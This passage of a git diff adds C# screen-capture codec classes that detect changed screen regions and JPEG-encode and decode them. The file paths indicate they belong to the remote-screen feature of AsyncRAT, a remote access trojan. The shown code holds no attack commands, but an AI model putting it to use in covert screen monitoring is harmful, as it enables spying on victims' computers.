+ private Size CheckBlock { get { return new Size(50, 50); } }
+
+ public UnsafeMiniCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ lock (this.ImageProcessLock)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format + " is not supported.");
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ //first frame
+ if (EncodeBuffer == null)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ this.EncodeBuffer = new byte[RawLength];
+ fixed (byte* ptr = EncodeBuffer)
+ {
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
+ }
+ return;
+ }
+
+ if (this.EncodedFormat != Format)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+ if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+ if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
+ throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
+
+
+ List Blocks = new List(); //all the changes
+ fixed (byte* encBuffer = EncodeBuffer)
+ {
+ //1. Check for the changes in height
+ for (int y = ScanArea.Y; y < ScanArea.Height; y++)
+ {
+ Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
+ if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
+ {
+ int index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ }
+
+ //2. Capture all the changes using the CheckBlock
+ List finalUpdates = new List();
+ for (int i = 0; i < Blocks.Count; i++)
+ {
+ Rectangle scanBlock = Blocks[i];
+
+ //go through the Blocks
+ for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
+ {
+ for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
+ {
+ int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
+ int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
+ Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ //scan the block from Top To Bottom and check for changes
+ bool FoundChanges = false;
+ for (int blockY = y; blockY < y + blockHeight; blockY++)
+ {
+ int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
+ if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
+ {
+ FoundChanges = true;
+ break;
+ }
+ }
+
+ if (FoundChanges)
+ {
+ int index = finalUpdates.Count - 1;
+ if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
+ {
+ Rectangle rect = finalUpdates[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ finalUpdates[index] = cBlock;
+ }
+ else
+ {
+ finalUpdates.Add(cBlock);
+ }
+ }
+ }
+ }
+ }
+
+ //maybe a too hard algorithm but oh well
+ SortedList> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
+ List FinalTemp = new List();
+
+ for (int i = 0; i < Array.Values.Count; i++)
+ {
+ FinalTemp.AddRange(Array.Values[i].Values);
+ }
+
+ //fixup the height
+ for (int i = 0; i < FinalTemp.Count; )
+ {
+ if (FinalTemp.Count == 1)
+ {
+ FinalTemp.Add(FinalTemp[i]);
+ break;
+ }
+
+ if (i + 1 < FinalTemp.Count)
+ {
+ Rectangle curRect = FinalTemp[i];
+ Rectangle nextRect = FinalTemp[i + 1];
+ if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
+ {
+ FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
+ FinalTemp.RemoveAt(i + 1);
+ }
+ else
+ {
+ i++;
+ }
+ }
+ else
+ {
+ break;
+ }
+ }
+
+ //copy changes to the EncodeBuffer and Process the Output
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ for (int i = 0; i < FinalTemp.Count; i++)
+ {
+ Rectangle rect = FinalTemp[i];
+ int blockStride = PixelSize * rect.Width;
+
+ //copy changes to EncodeBuffer
+ for (int y = rect.Y; y < rect.Y + rect.Height; y++)
+ {
+ int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
+ NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
+ }
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ Blocks.Clear();
+ }
+ }
+ }
+
+ public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ if (Length < 4)
+ return decodedBitmap;
+
+ int DataSize = *(int*)(CodecBuffer);
+ if (decodedBitmap == null)
+ {
+ byte[] temp = new byte[DataSize];
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
+ }
+
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
+ if (DataSize > 0)
+ {
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ for (int i = 4; DataSize > 0; )
+ {
+ Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
+ *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
+ int UpdateLen = *(int*)(bufferPtr + i + 16);
+ byte[] temp = new byte[UpdateLen];
+
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
+ {
+ g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
+ }
+ }
+ DataSize -= UpdateLen + (4 * 5);
+ i += UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ }
+ return decodedBitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs
new file mode 100644
index 0000000..e4df368
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs
@@ -0,0 +1,473 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeOptimizedCodec : IUnsafeCodec
+ {
+ private class PopulairPoint
+ {
+ public Rectangle Rect;
+ public int Score;
+ public Stopwatch LastUpdate;
+
+ public PopulairPoint(Rectangle rect)
+ {
+ this.Rect = rect;
+ this.Score = 0;
+ this.LastUpdate = Stopwatch.StartNew();
+ }
+ }
+
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.RequireSameSize; }
+ }
+
+ public Size CheckBlock { get; private set; }
+ private object ImageProcessLock = new object();
+ private byte[] EncodeBuffer;
+ private Bitmap decodedBitmap;
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private List populairPoints;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+ private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
+
+ //options
+ /// If a part in the image is been changing for the last x milliseconds it will be seen as a video
+ public uint AliveTimeForBeingVideo = 5000;
+ /// This will check if the video went away or stopped playing so it will refresh the other parts in the image
+ public uint ScreenRefreshTimer = 2000;
+ /// The size for being a video, if bigger or equal to the VideoScreenSize it must be a video
+ public Size VideoScreenSize = new Size(100, 100);
+
+ ///
+ /// Initialize a new object of UnsafeOptimizedCodec
+ ///
+ /// The quality to use between 0-100
+ public UnsafeOptimizedCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ this.populairPoints = new List();
+ this.CheckBlock = new Size(15, 1);
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ lock (ImageProcessLock)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ if (EncodeBuffer == null)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ this.EncodeBuffer = new byte[RawLength];
+ fixed (byte* ptr = EncodeBuffer)
+ {
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
+ }
+ return;
+ }
+
+ if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
+ {
+ for (int i = 0; i < populairPoints.Count; i++)
+ {
+ if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
+ {
+ populairPoints.RemoveAt(i);
+ }
+ }
+ ScreenRefreshSW = Stopwatch.StartNew();
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ List updates = new List();
+ MemoryStream ms = new MemoryStream();
+ byte[] buffer = null;
+
+ if (this.EncodedFormat != Format)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+
+ if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+
+ List Blocks = new List();
+ int index = 0;
+
+ Size s = new Size(ScanArea.Width, CheckBlock.Height);
+ Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
+
+ int lasty = ScanArea.Height - lastSize.Height;
+ int lastx = ScanArea.Width - lastSize.Width;
+
+ Rectangle cBlock = new Rectangle();
+ List finalUpdates = new List();
+
+ PopulairPoint[] points = GetPossibleVideos();
+ if (points.Length > 0)
+ {
+ ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
+ }
+
+ s = new Size(ScanArea.Width, s.Height);
+ fixed (byte* encBuffer = EncodeBuffer)
+ {
+ if (points.Length == 0) //only scan if there is no video
+ {
+ for (int y = ScanArea.Y; y != ScanArea.Height; )
+ {
+ if (y == lasty)
+ s = new Size(ScanArea.Width, lastSize.Height);
+ cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
+
+ int offset = (y * Stride) + (ScanArea.X * PixelSize);
+ if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
+ {
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ y += s.Height;
+ }
+
+ for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
+ {
+ s = new Size(CheckBlock.Width, Blocks[i].Height);
+ x = ScanArea.X;
+ while (x != ScanArea.Width)
+ {
+ if (x == lastx)
+ s = new Size(lastSize.Width, Blocks[i].Height);
+
+ cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
+ bool FoundChanges = false;
+ int blockStride = PixelSize * cBlock.Width;
+
+ for (int j = 0; j < cBlock.Height; j++)
+ {
+ int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
+ if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
+ FoundChanges = true;
+ NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ }
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (FoundChanges)
+ {
+ index = finalUpdates.Count - 1;
+ if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
+ {
+ Rectangle rect = finalUpdates[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ finalUpdates[index] = cBlock;
+ }
+ else
+ {
+ finalUpdates.Add(cBlock);
+ }
+ }
+ x += s.Width;
+ }
+ }
+ }
+ else
+ {
+ finalUpdates.Add(points[0].Rect);
+ }
+ }
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ Rectangle rect = finalUpdates[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+
+ if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
+ {
+ PopulairPoint point = null;
+ if (GetPopulairPoint(rect, ref point))
+ {
+ point.Score++;
+ point.LastUpdate = Stopwatch.StartNew();
+ //Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
+ }
+ else
+ {
+ populairPoints.Add(new PopulairPoint(rect));
+ }
+ }
+
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+
+ /*for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ Rectangle rect = finalUpdates[i];
+ int blockStride = PixelSize * rect.Width;
+ buffer = new byte[blockStride * rect.Height];
+
+ fixed (byte* ptr = buffer)
+ {
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
+ {
+ buffer = base.jpgCompression.Compress(TmpBmp);
+
+ if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
+ {
+ PopulairPoint point = null;
+ if (GetPopulairPoint(rect, ref point))
+ {
+ point.Score++;
+ point.LastUpdate = Stopwatch.StartNew();
+ Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
+ }
+ else
+ {
+ populairPoints.Add(new PopulairPoint(rect));
+ }
+ }
+ }
+ }
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
+ outStream.Write(buffer, 0, buffer.Length);
+ TotalDataLength += buffer.Length + (4 * 5);
+ }*/
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ Blocks.Clear();
+ ms.Close();
+ ms.Dispose();
+ }
+ }
+
+ public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ if (Length < 4)
+ return decodedBitmap;
+
+ int DataSize = *(int*)(CodecBuffer);
+ if (decodedBitmap == null)
+ {
+ byte[] temp = new byte[DataSize];
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
+ }
+
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
+ if (DataSize > 0)
+ {
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ for (int i = 4; DataSize > 0; )
+ {
+ Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
+ *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
+ int UpdateLen = *(int*)(bufferPtr + i + 16);
+ byte[] temp = new byte[UpdateLen];
+
+ fixed(byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
+ {
+ g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
+ }
+ }
+ DataSize -= UpdateLen + (4 * 5);
+ i += UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ }
+ return decodedBitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+
+ private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
+ {
+ for (int i = 0; i < populairPoints.Count; i++)
+ {
+ PopulairPoint point = populairPoints[i];
+ if (point.Rect.Width == rect.Width &&
+ point.Rect.Height == rect.Height &&
+ point.Rect.X == rect.X &&
+ point.Rect.Y == rect.Y)
+ {
+ PopuPoint = populairPoints[i];
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private PopulairPoint[] GetPossibleVideos()
+ {
+ List points = new List();
+ for (int i = 0; i < populairPoints.Count; i++)
+ {
+ if (populairPoints[i].Score > 30)
+ {
+ points.Add(populairPoints[i]);
+ }
+ }
+ return points.ToArray();
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs
new file mode 100644
index 0000000..0719bd9
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs
@@ -0,0 +1,285 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeQuickStream : IUnsafeCodec
+ {
+ public override ulong CachedSize { get; internal set; }
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 0; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
+ }
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private ulong[] EncodeBuffer;
+
+ private int BlockWidth = 0;
+ private int BlockHeight = 0;
+ private Bitmap decodedBitmap;
+
+ public List VerifyPoints = null;
+
+ public Size CheckBlock { get; private set; }
+ public UnsafeQuickStream(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ this.CheckBlock = new Size(50, 50);//width must be bigger then 3
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = InputSize.Width * PixelSize;
+ RawLength = Stride * InputSize.Height;
+
+
+ if (EncodedWidth == 0 && EncodedHeight == 0)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = OutputRect.Width;
+ this.EncodedHeight = OutputRect.Height;
+
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ return;
+ }
+
+ List Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
+
+ VerifyPoints = Points;
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+ for (int i = 0; i < Points.Count; i++)
+ {
+ Rectangle rect = Points[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
